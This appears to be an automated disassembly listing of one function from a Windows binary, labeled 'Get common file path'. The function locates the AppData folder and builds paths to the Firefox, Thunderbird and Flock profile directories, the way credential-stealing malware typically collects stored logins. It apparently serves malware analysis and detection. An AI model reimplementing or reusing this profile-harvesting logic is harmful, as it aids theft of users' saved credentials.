Function at 0x4040c0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x477731
mov eax, dword fs:[0]
push eax
sub esp, 0x258
mov eax, dword [0x49606c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x218]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x404470
xor eax, eax
mov dword [ebp - 0x250], 0
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x24c], 7
mov word [ebp - 0x260], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x404130
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x260]
call fcn.004076e0
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x24c]
mov eax, edx
mov ecx, dword [ebp - 0x250]
sub eax, ecx
cmp eax, 0x1a
jb 0x4041a2
cmp edx, 8
lea esi, [ebp - 0x260]
push 0x34
cmovae esi, dword [ebp - 0x260]
lea edi, [ecx + 0x1a]
push str.MozillaFirefoxProfiles_
mov dword [ebp - 0x250], edi
lea eax, [esi + ecx*2]
push eax
call fcn.004307e0
add esp, 0xc
xor eax, eax
mov word [esi + edi*2], ax
jmp 0x4041c3
push 0x1a
push str.MozillaFirefoxProfiles_
mov byte [ebp - 0x264], 0
lea ecx, [ebp - 0x260]
push dword [ebp - 0x264]
push 0x1a
call fcn.0040a3c0
cmp dword [ebp - 0x24c], 8
lea ecx, [ebp - 0x260]
cmovae ecx, dword [ebp - 0x260]
call fcn.00403dd0
xor eax, eax
mov dword [ebp - 0x238], 0
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x234], 7
mov word [ebp - 0x248], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x404202
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x248]
call fcn.004076e0
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x234]
mov eax, edx
mov ecx, dword [ebp - 0x238]
sub eax, ecx
cmp eax, 0x15
jb 0x404271
cmp edx, 8
lea esi, [ebp - 0x248]
push 0x2a
cmovae esi, dword [ebp - 0x248]
lea edi, [ecx + 0x15]
push str.ThunderbirdProfiles
mov dword [ebp - 0x238], edi
lea eax, [esi + ecx*2]
push eax
call fcn.004307e0
add esp, 0xc
xor eax, eax
mov word [esi + edi*2], ax
jmp 0x404292
push 0x15
push str.ThunderbirdProfiles
mov byte [ebp - 0x264], 0
lea ecx, [ebp - 0x248]
push dword [ebp - 0x264]
push 0x15
call fcn.0040a3c0
cmp dword [ebp - 0x234], 8
lea ecx, [ebp - 0x248]
cmovae ecx, dword [ebp - 0x248]
call fcn.00403dd0
xor eax, eax
mov dword [ebp - 0x220], 0
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4042d1
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x230]
call fcn.004076e0
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x21c]
mov eax, edx
mov ecx, dword [ebp - 0x220]
sub eax, ecx
cmp eax, 0x17
jb 0x404340
cmp edx, 8
lea esi, [ebp - 0x230]
push 0x2e
cmovae esi, dword [ebp - 0x230]
lea edi, [ecx + 0x17]
push str.FlockBrowserProfiles
mov dword [ebp - 0x220], edi
lea eax, [esi + ecx*2]
push eax
call fcn.004307e0
add esp, 0xc
xor eax, eax
mov word [esi + edi*2], ax
jmp 0x404361
push 0x17
push str.FlockBrowserProfiles
mov byte [ebp - 0x264], 0
lea ecx, [ebp - 0x230]
push dword [ebp - 0x264]
push 0x17
call fcn.0040a3c0
cmp dword [ebp - 0x21c], 8
lea ecx, [ebp - 0x230]
cmovae ecx, dword [ebp - 0x230]
call fcn.00403dd0
mov edx, dword [ebp - 0x21c]
cmp edx, 8
jb 0x4043ba
mov ecx, dword [ebp - 0x230]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4043b0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40448d
push edx
push ecx
call fcn.0042e698
add esp, 8
mov edx, dword [ebp - 0x234]
xor eax, eax
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
cmp edx, 8
jb 0x404417
mov ecx, dword [ebp - 0x248]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40440d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404492
push edx
push ecx
call fcn.0042e698
add esp, 8
mov edx, dword [ebp - 0x24c]
xor eax, eax
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 7
mov word [ebp - 0x248], ax
cmp edx, 8
jb 0x404470
mov ecx, dword [ebp - 0x260]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x404466
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404497
push edx
push ecx
call fcn.0042e698
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042e658
mov esp, ebp
pop ebp
ret
call fcn.0043b1c8
call fcn.0043b1c8
call fcn.0043b1c8
int3